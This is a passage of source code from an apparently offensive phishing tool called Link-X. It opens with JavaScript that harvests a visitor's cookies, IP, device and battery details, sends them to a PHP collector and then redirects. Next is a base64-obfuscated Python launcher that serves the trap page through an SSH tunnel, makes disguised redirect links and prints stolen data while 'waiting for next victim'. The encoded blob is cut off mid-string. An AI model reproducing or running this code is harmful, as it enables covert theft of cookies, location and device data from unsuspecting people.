170 | const query = `?ip=${encodeURIComponent(ip)}&time=${encodeURIComponent(time)}&touch=${encodeURIComponent(touch)}&cookie=${cookie}&ua=${encodeURIComponent(ua)}&platf=${encodeURIComponent(platf)}&lang=${encodeURIComponent(lang)}&memory=${encodeURIComponent(memory)}&wid=${wid}&hig=${hig}&netType=${encodeURIComponent(netType)}&saveData=${saveData}&batLevel=${encodeURIComponent(battery.level)}&batCharge=${battery.charging}&dname=${encodeURIComponent(dname)}`;
171 |
172 | send("./get_data.php" + query);
173 | window.location.href = REDIRECT_URL;
174 |
175 | } catch (e) {
176 | console.error("Error in details.js:", e);
177 | window.location.href = REDIRECT_URL;
178 | }
179 | }
180 |
181 | // Jalankan pengumpulan
182 | fetchData();
--------------------------------------------------------------------------------
/Link-x.py:
--------------------------------------------------------------------------------
1 | # Obfuscated by Mr.X
2 | import base64
3 | exec(base64.b64decode('IiIiCkFib3V0IFRvb2w6CiAgICBOYW1lIDogTGluay1YCiAgICBEZXNjcmlwdGlvbiA6IENhbWVyYSwgVm9pY2UsIENsaXBib2FyZCAoZXRjLi4uKSBHcmFiYmVyCiAgICBBdXRob3IgOiBNci5YCiAgICBHaXRIdWIgOiBodHRwczovL2dpdGh1Yi5jb20vV2hvbXJ4NjY2ICAKICAgIFZlcnNpb24gOiAyLjAKCk1vcmUgRGVzY3JpcHRpb246CiAgICBUaGlzIFRvb2wgY2FuIEhhY2sgYW5kIEdyYWIgZGF0YSBvZiBDYW1lcmEsIFZvaWNlLCBDbGlwYm9hcmQsIExvY2F0aW9uLgogICAgSXQgY2FuIEdyYWIgQXMgbXVjaCBpbmZvIGFzIFBvc3NpYmxlIGZyb20gVmljdGltcyBEZXZpY2UuCiAgICBBbGwgdGhpcyByZXF1aXJlcyBKdXN0IGEgTWFsaWNpb3VzIExpbmsKClR1bm5lbCBPcHRpb25zOgogICAgbG9jYWxob3N0LnJ1biAodmlhIFNTSCkKCk5vdGU6CiAgICBUaGlzIFRvb2wgaXMgb25seSBmb3IgRWR1Y2F0aW9uYWwgUHVycG9zZQogICAgTXIuWCB3aWxsIG5vdCBiZSByZXNwb25zaWJsZSBmb3IgYW55IE1pc3VzZQoiIiIKCmltcG9ydCBvcwppbXBvcnQgdGltZQppbXBvcnQgc3lzCmltcG9ydCBqc29uCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN1YnByb2Nlc3MgYXMgc2IKaW1wb3J0IHJlCgojIEdsb2JhbCBWYXJpYWJsZXMKYXR0YWNrTWV0aG9kID0gIiIKbWFza1VybCA9ICIiCmhvc3QgPSAiMTI3LjAuMC4xIgpjaHJvb3QgPSBGYWxzZSBpZiAoc2IuZ2V0b3V0cHV0KCJjb21tYW5kIC12IHRlcm11eC1jaHJvb3QiKSA9PSAiIikgZWxzZSBUcnVlCnR1bm5lbF9hY3RpdmUgPSBUcnVlCgpjb2x1bW5zID0gc2h1dGlsLmdldF90ZXJtaW5hbF9zaXplKCkuY29sdW1ucwoKIyBDeWJlcnB1bmsgTmVvbiBDb2xvcnMKTkVPTl9QVVJQTEUgPSAiXDAzM1szODs1OzkzbSIKTkVPTl9CTFVFID0gIlwwMzNbMzg7NTs4MW0iCk5FT05fV0hJVEUgPSAiXDAzM1szODs1OzE1bSIKUkVTRVQgPSAiXDAzM1swbSIKCmRlZiBjUHJpbnQodGV4dCwgUmV0dXJuPUZhbHNlKToKICAgIHRleHQgPSB0ZXh0LnJlcGxhY2UoImNQdXJwbGUiLCBORU9OX1BVUlBMRSkucmVwbGFjZSgiY0JsdWUiLCBORU9OX0JMVUUpLnJlcGxhY2UoImNXaGl0ZSIsIE5FT05fV0hJVEUpCiAgICBvdXRwdXQgPSB0ZXh0ICsgUkVTRVQKICAgIGlmIFJldHVybjoKICAgICAgICByZXR1cm4gb3V0cHV0CiAgICBwcmludChvdXRwdXQpCgpkZWYgcHNiKHosIGVuZD0iXG4iKToKICAgIHogPSBjUHJpbnQoeiwgVHJ1ZSkKICAgIGZvciBwIGluIHogKyBlbmQ6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZShwKQogICAgICAgIHN5cy5zdGRvdXQuZmx1c2goKQogICAgICAgIHRpbWUuc2xlZXAoMC4wMSkKCmRlZiBsb2dvKCk6CiAgICBvcy5zeXN0ZW0oImNsZWFyIikKICAgIGJhbm5lciA9IGYiIiIKe05FT05fUFVSUExFfSDilojilojilZcgICAgIOKWiOKWiOKVl+KWiOKWiOKWiOKVlyAgIOKWiOKWiOKVl+KWiOKWiOKVlyAg4paI4paI4pWXICAgIOKWiOKWiOKVlyAg4paI4paI4pWXCntORU9OX1BVUlBMRX0g4paI4paI4pWRICAgICDilojilojilZHilojilojilojilojilZcgIOKWiOKWiOKVkeKVmuKWiOKWiOKVl+KWiOKWiOKVlOKVnSAgICDilZrilojilojilZfilojilojilZTilZ0Ke05FT05fQkxVRX0g4paI4paI4pWRICAgICDilojilojilZHilojilojilZTilojilojilZcg4paI4paI4pWRIOKVmuKWiOKWiOKWiOKVlOKVnSAgICAgIOKVmuKWiOKWiOKWiOKVlOKVnSAKe05FT05fQkxVRX0g4paI4paI4pWRICAgICDilojilojilZHilojilojilZHilZrilojilojilZfilojilojilZEg4paI4paI4pWU4paI4paI4pWXICAgICAg4paI4paI4pWU4paI4paI4pWXIAp7TkVPTl9QVVJQTEV9IOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkeKWiOKWiOKVkSDilZrilojilojilojilojilZHilojilojilZTilZ0g4paI4paI4pWXICAgIOKWiOKWiOKVlOKVnSDilojilojilZcKe05FT05fUFVSUExFfSDilZrilZDilZDilZDilZDilZDilZDilZ3ilZrilZDilZ3ilZrilZDilZ0gIOKVmuKVkOKVkOKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWdICAgIOKVmuKVkOKVnSAg4pWa4pWQ4pWdCntSRVNFVH0iIiIKICAgIGZvciBsaW5lIGluIGJhbm5lci5zdHJpcCgpLnNwbGl0bGluZXMoKToKICAgICAgICBwcmludChsaW5lLmNlbnRlcihjb2x1bW5zKSkKCiAgICBzZXBfbGVuID0gbWluKGNvbHVtbnMgLSAxMCwgNTApCiAgICBzZXBhcmF0b3IgPSBORU9OX1BVUlBMRSArICLilIAiICogc2VwX2xlbiArIFJFU0VUCiAgICBwcmludChzZXBhcmF0b3IuY2VudGVyKGNvbHVtbnMpKQoKICAgIGluZm9fbGluZXMgPSBbCiAgICAgICAgZiJ7TkVPTl9CTFVFfSAgICAgICAgICAgICBBdXRob3Ige05FT05fV0hJVEV9OiB7TkVPTl9XSElURX1Nci5YIiwKICAgICAgICBmIntORU9OX0JMVUV9ICAgICAgICAgICAgIFRvb2wge05FT05fV0hJVEV9OiB7TkVPTl9XSElURX1MaW5rLVggKEhhY2sgV2l0aCBMaW5rKSIsCiAgICAgICAgZiJ7TkVPTl9CTFVFfSAgICAgICAgICAgR2l0SHViIHtORU9OX1dISVRFfToge05FT05fV0hJVEV9aHR0cHM6Ly9naXRodWIuY29tL1dob21yeDY2NiAgIiwKICAgICAgICBmIntORU9OX0JMVUV9ICAgICAgICAgICAgICAgICAgICBDb2RlciB7TkVPTl9XSElURX06IHtORU9OX1dISVRFfVdob21yeCB7TkVPTl9QVVJQTEV9djIuMCIKICAgIF0KICAgIGZvciBsaW5lIGluIGluZm9fbGluZXM6CiAgICAgICAgcHJpbnQobGluZS5jZW50ZXIoY29sdW1ucykpCgogICAgcHJpbnQoc2VwYXJhdG9yLmNlbnRlcihjb2x1bW5zKSkKCmRlZiBraWxsQWxsKCk6CiAgICBwaWRzID0gc2IuZ2V0b3V0cHV0KCJwaWRvZiBwaHAgc3NoIikuc3BsaXQoKQogICAgZm9yIHBpZCBpbiBwaWRzOgogICAgICAgIGlmIHBpZC5pc2RpZ2l0KCk6CiAgICAgICAgICAgIG9zLnN5c3RlbShmImtpbGwge3BpZH0gPiAvZGV2L251bGwgMj4mMSIpCiAgICBvcy5zeXN0ZW0oInBraWxsIC1mIGxvY2FsaG9zdC5ydW4gPiAvZGV2L251bGwgMj4mMSIpCiAgICBvcy5zeXN0ZW0oInBraWxsIC1mIHBocCA+IC9kZXYvbnVsbCAyPiYxIikKCmRlZiB1cGRhdGUoKToKICAgIHBzYigiXG4gICAgY1doaXRlW2NQdXJwbGUhY1doaXRlXSBQbGVhc2Ugd2FpdCwgQ2hlY2tpbmcgVXBkYXRlLi4uIikKICAgIHRyeToKICAgICAgICBvbGRWZXJzaW9uID0ganNvbi5sb2FkcyhvcGVuKCIudmVyc2lvbiIsICJyIikucmVhZCgpKVsidmVyc2lvbiJdCiAgICBleGNlcHQ6CiAgICAgICAgb2xkVmVyc2lvbiA9ICIxLjAiCiAgICAKICAgIHRyeToKICAgICAgICBuZXdWZXJzaW9uID0ganNvbi5sb2FkcyhzYi5nZXRvdXRwdXQoImN1cmwgLXMgXCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vV2hvbXJ4NjY2L0xpbmsteC9tYWluLy52ZXJzaW9uICBcIiIpLnJlcGxhY2UoIlxuIiwgIiIpLnN0cmlwKCkpWyJ2ZXJzaW9uIl0KICAgIGV4Y2VwdDoKICAgICAgICBjUHJpbnQoIlxuICAgIGNXaGl0ZVtjUHVycGxlIWNXaGl0ZV0gU29tZXRoaW5nIFdlbnQgV3JvbmchIikKICAgICAgICBzeXMuZXhpdCgiIikKICAgIAogICAgaWYgb2xkVmVyc2lvbiAhPSBuZXdWZXJzaW9uOgogICAgICAgIHBzYigiXG4gICAgY1doaXRlW2NQdXJwbGUhY1doaXRlXSBUb29sIFVwZGF0ZSBGb3VuZCEiKQogICAgICAgIGNQcmludCgiICAgIFshXSBVcGRhdGluZyBUb29sLi4uIikKICAgICAgICBvcy5zeXN0ZW0oImNkIC4uLyAmJiBybSAtcmYgTGluay14ICYmIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vV2hvbXJ4NjY2L0xpbmsteCAgID4gL2Rldi9udWxsIDI+JjEiKQogICAgICAgIHBzYigiXG4gICAgW2NQdXJwbGUqY1doaXRlXSBVcGRhdGUgQ29tcGxldGUhIikKICAgICAgICBwc2IoIiAgICBbY1B1cnBsZSpjV2hpdGVdIFN0YXJ0aW5nIG5ldyBWZXJzaW9uLi4uIikKICAgICAgICBvcy5zeXN0ZW0oImNkIC4uL0xpbmsteCAmJiBweXRob24gTGluay14LnB5IikKICAgIGVsc2U6CiAgICAgICAgcHNiKCJcbiAgICBjV2hpdGVbY1B1cnBsZSpjV2hpdGVdIFRvb2wgaXMgYWxyZWFkeSBVcCB0byBEYXRlISIpCiAgICAgICAgdGltZS5zbGVlcCgwLjgpCiAgICAgICAgaW5wdXQoY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFByZXNzIEVudGVyIHRvIENvbnRpbnVlLi4uIiwgVHJ1ZSkpCgpkZWYgcHJpbnRMb2NhdGlvbih0bXApOgogICAgZGF0YSA9IGpzb24ubG9hZHModG1wKVsiaW5mbyJdCiAgICB0aW1lLnNsZWVwKDAuNCkKICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gTGF0aXR1ZGVjUHVycGxlOiBjV2hpdGV7ZGF0YVsnbGF0J119IikKICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gTG9uZ2l0dWRlY1B1cnBsZTogY1doaXRle2RhdGFbJ2xvbiddfSIpCiAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZX5jV2hpdGVdIEFjY3VyYWN5Y1B1cnBsZTogY1doaXRle2RhdGFbJ2FjYyddfSIpCiAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZX5jV2hpdGVdIEFsdGl0dWRlY1B1cnBsZTogY1doaXRle2RhdGFbJ2FsdCddfSIpCiAgICBsYXQgPSBkYXRhWydsYXQnXQogICAgbG9uID0gZGF0YVsnbG9uJ10KICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gR29vZ2xlIE1hcGNQdXJwbGU6IGNXaGl0ZWh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vbWFwcy9zZWFyY2gvP2FwaT0xJnF1ZXJ5PSAge2xhdH0se2xvbn0iKQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFdhaXRpbmcgZm9yIG5leHQgVmljdGltLi4uIikKCmRlZiBwcmludERldGFpbHModG1wKToKICAgIGRhdGEgPSBqc29uLmxvYWRzKHRtcClbImluZm8iXQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFBhcnNpbmcgRGF0YS4uLiIpCiAgICBpcCA9IGRhdGEuZ2V0KCJpcCIsICJ1bmtub3duIikucmVwbGFjZSgiXG4iLCAiIikucmVwbGFjZSgiICIsICIiKQogICAgCiAgICBpcERldGFpbHMgPSBzYi5nZXRvdXRwdXQoZiJjdXJsIC1zICdodHRwOi8vaXAtYXBpLmNvbS9qc29uL3tpcH0nIikKICAgIAogICAgY291bnRyeSA9ICJOb25lIgogICAgY2l0eSA9ICJOb25lIgogICAgY2FsbENvZGUgPSAiTm9uZSIKICAgIHRpbWVab25lID0gIk5vbmUiCiAgICBJU1AgPSAiTm9uZSIKICAgIAogICAgaWYgbm90ICgiZXJyb3IiIGluIGlwRGV0YWlscykgYW5kIGlwRGV0YWlscy5zdHJpcCgpICE9ICIiOgogICAgICAgIHRyeToKICAgICAgICAgICAgaXBEZXRhaWxzID0ganNvbi5sb2FkcyhpcERldGFpbHMpCiAgICAgICAgICAgIGlmIGlzaW5zdGFuY2UoaXBEZXRhaWxzLCBkaWN0KSBhbmQgaXBEZXRhaWxzLmdldCgic3RhdHVzIikgPT0gInN1Y2Nlc3MiOgogICAgICAgICAgICAgICAgY291bnRyeSA9IGlwRGV0YWlscy5nZXQoImNvdW50cnkiLCAiTm9uZSIpCiAgICAgICAgICAgICAgICBjaXR5ID0gaXBEZXRhaWxzLmdldCgiY2l0eSIsICJOb25lIikKICAgICAgICAgICAgICAgIGNhbGxDb2RlID0gaXBEZXRhaWxzLmdldCgiY291bnRyeUNvZGUiLCAiTm9uZSIpCiAgICAgICAgICAgICAgICB0aW1lWm9uZSA9IGlwRGV0YWlscy5nZXQoInRpbWV6b25lIiwgIk5vbmUiKQogICAgICAgICAgICAgICAgSVNQID0gaXBEZXRhaWxzLmdldCgiaXNwIiwgIk5vbmUiKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgCiAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIElQIEFkZHJlc3M6IHtkYXRhLmdldCgnaXAnLCAndW5rbm93bicpfSIpCiAgICBwcmludCgiIikKICAgIGNQcmludCgiW2NQdXJwbGUqY1doaXRlXSBCYXNpYyBJbmZvIi5jZW50ZXIoY29sdW1ucykpCiAgICBwcmludCgiIikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIFRpbWUgaW4gVmljdGlt4oCZcyBEZXZpY2VjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ3RpbWUnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIERldmljZSBOYW1lY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdkbmFtZScsICdOL0EnKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQ29va2llY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdjb29raWUnLCAnTi9BJykudGl0bGUoKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gVXNlciBBZ2VudGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgndWEnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIFBsYXRmb3JtY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdwbGF0ZicsICdOL0EnKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gTGFuZ3VhZ2VjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ2xhbmcnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIERldmljZSBNZW1vcnljUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ21lbW9yeScsICdOL0EnKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQ2xpY2sgWGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgnY2xpY2tYJywgJ04vQScpfSIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBDbGljayBZY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdjbGlja1knLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIENsaWNrIFRpbWVjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ2NsaWNrVGltZScsICdOL0EnKX0iKQogICAgcHJpbnQoIiIpCiAgICBjUHJpbnQoIltjUHVycGxlKmNXaGl0ZV0gU2NyZWVuIEluZm8iLmNlbnRlcihjb2x1bW5zKSkKICAgIHByaW50KCIiKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gTWF4IFRvdWNoIFBvaW50c2NQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgndG91Y2gnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIFNjcmVlbiBXaWR0aGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgnd2lkJywgJ04vQScpfSIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBTY3JlZW4gSGVpZ2h0Y1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdoaWcnLCAnTi9BJyl9IikKICAgIHByaW50KCIiKQogICAgY1ByaW50KCJbY1B1cnBsZSpjV2hpdGVdIE5ldHdvcmsgSW5mbyIuY2VudGVyKGNvbHVtbnMpKQogICAgcHJpbnQoIiIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBEYXRhIFR5cGVjUHVycGxlOiBjV2hpdGV7ZGF0YS5nZXQoJ25ldFR5cGUnLCAnTi9BJykudGl0bGUoKX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gSVNQY1B1cnBsZTogY1doaXRle3N0cihJU1ApfSIpCiAgICBwcmludCgiIikKICAgIGNQcmludCgiW2NQdXJwbGUqY1doaXRlXSBCYXR0ZXJ5IEluZm8iLmNlbnRlcihjb2x1bW5zKSkKICAgIHByaW50KCIiKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQmF0dGVyeSBMZXZlbGNQdXJwbGU6IGNXaGl0ZXtkYXRhLmdldCgnYmF0TGV2ZWwnLCAnTi9BJyl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIENoYXJnaW5nY1B1cnBsZTogY1doaXRle2RhdGEuZ2V0KCdiYXRDaGFyZ2UnLCAnTi9BJyl9IikKICAgIHByaW50KCIiKQogICAgY1ByaW50KCJbY1B1cnBsZSpjV2hpdGVdIENvdW50cnkgSW5mbyIuY2VudGVyKGNvbHVtbnMpKQogICAgcHJpbnQoIiIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBDb3VudHJ5Y1B1cnBsZTogY1doaXRle3N0cihjb3VudHJ5KX0iKQogICAgY1ByaW50KGYiICAgIFtjUHVycGxlfmNXaGl0ZV0gQ2l0eWNQdXJwbGU6IGNXaGl0ZXtzdHIoY2l0eSl9IikKICAgIGNQcmludChmIiAgICBbY1B1cnBsZX5jV2hpdGVdIENhbGxpbmcgQ29kZWNQdXJwbGU6IGNXaGl0ZXtzdHIoY2FsbENvZGUpfSIpCiAgICBjUHJpbnQoZiIgICAgW2NQdXJwbGV+Y1doaXRlXSBUaW1lIFpvbmVjUHVycGxlOiBjV2hpdGV7c3RyKHRpbWVab25lKX0iKQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIFdhaXRpbmcgZm9yIG5leHQgVmljdGltLi4uIikKCmRlZiBzZXR1cEZpbGVzKHJlZGlyZWN0VXJsLCB0b0NvcHk9Tm9uZSwgc2hvdz1Ob25lKToKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cygiLnNlcnZlciIpOgogICAgICAgIG9zLnN5c3RlbSgibWtkaXIgLnNlcnZlciA+IC9kZXYvbnVsbCAyPiYxIikKICAgIG9zLnN5c3RlbSgicm0gLXJmIC4vLnNlcnZlci8qID4gL2Rldi9udWxsIDI+JjEiKQoKICAgIGlmIGF0dGFja01ldGhvZCAhPSAiY2xpY2tqYWNraW5nIjoKICAgICAgICBpZiBub3QgcmVkaXJlY3RVcmwgb3IgcmVkaXJlY3RVcmwuc3RyaXAoKSA9PSAiIjoKICAgICAgICAgICAgcmVkaXJlY3RVcmwgPSAiaHR0cHM6Ly95b3UucmVnZXR0aW5nb2xkLmNvbS8gICIKICAgICAgICBlbHNlOgogICAgICAgICAgICByZWRpcmVjdFVybCA9IHJlZGlyZWN0VXJsLnN0cmlwKCkKICAgICAgICAgICAgaWYgbm90IHJlZGlyZWN0VXJsLnN0YXJ0c3dpdGgoKCJodHRwOi8vIiwgImh0dHBzOi8vIikpOgogICAgICAgICAgICAgICAgcmVkaXJlY3RVcmwgPSAiaHR0cHM6Ly8iICsgcmVkaXJlY3RVcmwKICAgICAgICAgICAgcmVkaXJlY3RVcmwgPSByZWRpcmVjdFVybC5yc3RyaXAoJy8nKSArICcvJwoKICAgICAgICBvcy5zeXN0ZW0oImNwIC1yIC4vLnNpdGUvaW5kZXgvKiAuLy5zZXJ2ZXIvIikKICAgICAgICBvcy5zeXN0ZW0oImNwIC1yIC4vLnNpdGUvanMvIiArIGF0dGFja01ldGhvZCArICIuanMgLi8uc2VydmVyL2luZGV4LmpzIikKICAgICAgICBvcy5zeXN0ZW0oImNwIC1yIC4vLnNpdGUvcGhwLyIgKyBhdHRhY2tNZXRob2QgKyAiLnBocCAuLy5zZXJ2ZXIvZ2V0X2RhdGEucGhwIikKCiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oIi4vLnNlcnZlci9pbmRleC5qcyIsICJyIiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgICAgIGpzRGF0YSA9IGYucmVhZCgpCiAgICAgICAgICAgIGpzRGF0YSA9IHJlLnN1YigKICAgICAgICAgICAgICAgIHIiaHR0cHM/Oi8veW91XC5yZWdldHRpbmdvbGRcLmNvbS8/IiwKICAgICAgICAgICAgICAgIHJlZGlyZWN0VXJsLAogICAgICAgICAgICAgICAganNEYXRhLAogICAgICAgICAgICAgICAgZmxhZ3M9cmUuSUdOT1JFQ0FTRQogICAgICAgICAgICApCiAgICAgICAgICAgIHdpdGggb3BlbigiLi8uc2VydmVyL2luZGV4LmpzIiwgInciLCBlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgICAgICAgICAgZi53cml0ZShqc0RhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIFdhcm5pbmc6IEZhaWxlZCB0byB1cGRhdGUgcmVkaXJlY3QgVVJMIGluIGluZGV4LmpzOiB7c3RyKGUpfSIpCgogICAgICAgIGlmIGF0dGFja01ldGhvZCA9PSAidm9pY2UiOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi4vLnNlcnZlci9pbmRleC5qcyIsICJyIiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBqc0RhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICAgICAganNEYXRhID0gcmUuc3ViKAogICAgICAgICAgICAgICAgICAgIHIncmVkaXJlY3RVcmxccyo9XHMqWyJcJ11bXiJcJ10qWyJcJ10nLAogICAgICAgICAgICAgICAgICAgIGYncmVkaXJlY3RVcmwgPSAie3JlZGlyZWN0VXJsfSInLAogICAgICAgICAgICAgICAgICAgIGpzRGF0YQogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIuLy5zZXJ2ZXIvaW5kZXguanMiLCAidyIsIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShqc0RhdGEpCiAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgIGNQcmludChmIlxuICAgIFtjUHVycGxlIWNXaGl0ZV0gV2FybmluZzogRmFpbGVkIHRvIHVwZGF0ZSByZWRpcmVjdCBVUkwgaW4gdm9pY2UuanM6IHtzdHIoZSl9IikKCiAgICBlbHNlOgogICAgICAgIG9zLnN5c3RlbSgiY3AgLXIgLi8uc2l0ZS9jbGlja2phY2tpbmcvKiAuLy5zZXJ2ZXIvIikKICAgICAgICBvcy5zeXN0ZW0oInJtIC1mIC4vLnNlcnZlci9pbmRleC5waHAiKQoKIyDinIUgVVBEQVRFRDogY3JlYXRlTWFza1BhZ2Ug4oCUIG5vdyB3b3JrcyBmb3IgY2FtZXJhIHRvbwpkZWYgY3JlYXRlTWFza1BhZ2UobWFza05hbWUsIG1haW5VcmwpOgogICAgbWFza0RpciA9ICIuLy5zZXJ2ZXIvbWFzayIKICAgIG9zLm1ha2VkaXJzKG1hc2tEaXIsIGV4aXN0X29rPVRydWUpCiAgICBtYXNrRmlsZSA9IG9zLnBhdGguam9pbihtYXNrRGlyLCBmInttYXNrTmFtZX0uaHRtbCIpCgogICAgIyBFc2NhcGUgcXVvdGVzIGZvciBKUwogICAgc2FmZVVybCA9IG1haW5VcmwucmVwbGFjZSgnIicsICdcXCInKQogICAgCiAgICBodG1sQ29udGVudCA9IGYiIiI8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkxvYWRpbmcuLi48L3RpdGxlPgogICAgPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9e21haW5Vcmx9Ij4KICAgIDxzY3JpcHQ+CiAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoIntzYWZlVXJsfSIpOwogICAgPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CjwvYm9keT4KPC9odG1sPiIiIgoKICAgIHRyeToKICAgICAgICB3aXRoIG9wZW4obWFza0ZpbGUsICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZShodG1sQ29udGVudCkKICAgICAgICBiYXNlID0gbWFpblVybC5yc3RyaXAoJy8nKQogICAgICAgIHJldHVybiBmIntiYXNlfS9tYXNrL3ttYXNrTmFtZX0uaHRtbCIKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBjUHJpbnQoZiJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIEZhaWxlZCB0byBjcmVhdGUgbWFzayBwYWdlOiB7c3RyKGUpfSIpCiAgICAgICAgcmV0dXJuIE5vbmUKCmRlZiBzdGFydFBIUCgpOgogICAgcG9ydCA9ICI4MDgwIgogICAgb3Muc3lzdGVtKGYiY2QgLi8uc2VydmVyICYmIHBocCAtUyB7aG9zdH06e3BvcnR9ID4gL2Rldi9udWxsIDI+JjEgJiIpCiAgICByZXR1cm4gcG9ydAoKZGVmIHN0YXJ0TG9jYWxob3N0UnVuKHBvcnQsIG1hc2tVcmw9Tm9uZSk6CiAgICBnbG9iYWwgdHVubmVsX2FjdGl2ZQogICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIExhdW5jaGluZyBsb2NhbGhvc3QucnVuIHR1bm5lbC4uLiIpCiAgICBvcy5zeXN0ZW0oInJtIC1mIC5saHIubG9nID4gL2Rldi9udWxsIDI+JjEiKQogICAgCiAgICBzc2hfY21kID0gKAogICAgICAgIGYic3NoIC1vIFN0cmljdEhvc3RLZXlDaGVja2luZz1ubyAiCiAgICAgICAgZiItbyBTZXJ2ZXJBbGl2ZUludGVydmFsPTMwICIKICAgICAgICBmIi1vIFNlcnZlckFsaXZlQ291bnRNYXg9MyAiCiAgICAgICAgZiItUiA4MDpsb2NhbGhvc3Q6e3BvcnR9ICIKICAgICAgICBmIm5va2V5QGxvY2FsaG9zdC5ydW4gPiAubGhyLmxvZyAyPiYxICYiCiAgICApCiAgICAKICAgIGlmIGNocm9vdDoKICAgICAgICBvcy5zeXN0ZW0oZiJ0ZXJtdXgtY2hyb290IHtzc2hfY21kfSIpCiAgICBlbHNlOgogICAgICAgIG9zLnN5c3RlbShzc2hfY21kKQogICAgCiAgICB0aW1lLnNsZWVwKDQpCiAgICBtYWluVXJsID0gIiIKICAgIGZvciBfIGluIHJhbmdlKDQwKToKICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cygiLmxoci5sb2ciKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIubGhyLmxvZy